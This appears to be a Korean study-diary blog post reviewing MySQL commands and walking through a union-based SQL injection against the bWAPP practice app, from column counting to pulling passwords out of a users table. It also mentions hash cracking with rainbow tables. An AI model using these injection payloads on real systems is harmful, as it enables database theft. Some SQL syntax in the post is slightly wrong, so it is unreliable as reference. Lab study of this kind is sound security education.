wonder
정보보안 스터디 - 14주차 2일 - mysql 명령어 복습 본문
mysql 명령어 복습 및 헷갈렸던 점입니다.
☞ alter
desc table1;
alter table1 modify name='wonder' where no='1'
속성 변경 modify
속성 추가 add (after이용)
삭제 drop
☞ 해시
length(sha('security')); |
암호화 pwd=hex(aes_encrypt('wonder','xyz')) |
복호화 aes_decrypt(unhex(pwd), 'xyz') from linux; |
해시는 단방향이기 때문에 복구가 안됩니다.
사과를 믹서기를 갈았다고 생각하면됩니다.
하지만 사과즙의 냄새를 보고 유추할 수 있듯이
rainbow table로 비교하여 유추하는 개념으로 알아낸다고 보면됩니다.
물론 복잡한 비밀번호의 경우 시간이 오래걸려 유추가 불가합니다.
hash-identifier 툴로 어떤 해시 값이 처리되었는지 종류를 확인합니다.
md5, sha1 등
☞ DB 탐색
접속 show databases; |
인포메이션 확인
use information_schema;
show tables;
다양한 mysql 버전 정보, 계정아이디가 나오지만
여기서 공격에 필요한 건
schemata; DB정보, 칼럼들과 테이블 , 칼럼명이 가장 중요합니다.
☞ union based 경우 공격과정
use bWAPP; show tables; select * from movies; |
select * from movies where name like '%iron man%';
컬럼수 확인 select * from movies where name like '%iron man%' or 1=1 union select all 1,2,3,4,5,6,7; |
현재 데이터 베이스 확인 select * from movies where name like '%iron man%' or 1=1 union select all 1,2,3,4,5,database(),7; (다른 데이터 베이스 확인은 schemata로 합니다.) |
테이블 확인 select * from movies where name like '%iron man%' or 1=1 union select all 1,2,3,4,5,table_name,7 from information_schema where schema_name='linux'; |
칼럼 확인 select * from movies where name like '%iron man%' or 1=1 union select all 1,2,3,4,5,column_name,7 from information_schema where table_name='users' |
데이터 추출 select * from movies where name like '%iron man%' or 1=1 union select all 1,2,3,4,5,password,7 from users; |
concat()을 활용하여 하나의 셀만 노출되는 곳에 모두 몰아놓아 노출시키는 경우도 있습니다.
참 거짓 구분
참 and 참 or 거짓 > 참 / where 1=1 and 2=2 or 1=2; 참 and 거짓 or 참 > 참 참 and 거짓 or 거짓 > 거짓 |
and를 먼저 계산하도록합니다.
공격자 입장에서는 물론 거짓을 입력안하겠죠.
참으로 하여 모든 정보를 가져오려고 하기 때문입니다.
dpkg -l | grep mysql
패키지 버전확인
'Security > 웹 모의해킹' 카테고리의 다른 글
정보보안 스터디 - 15주차 1일 - openSSL 취약점 사례 (0) | 2023.01.20 |
---|---|
정보보안 스터디 - 14주차 7일 - XML injection (Xpath) (0) | 2023.01.18 |
정보보안 스터디 - 14주차 6일 - blind방식 SQLi 상세 연구 (0) | 2023.01.17 |
정보보안 스터디 - 14주차 5일 - SQLite DBMS / concat 이용 (0) | 2023.01.16 |
정보보안 스터디 - 14주차 1일 - SSI/OS injection (0) | 2023.01.13 |
Comments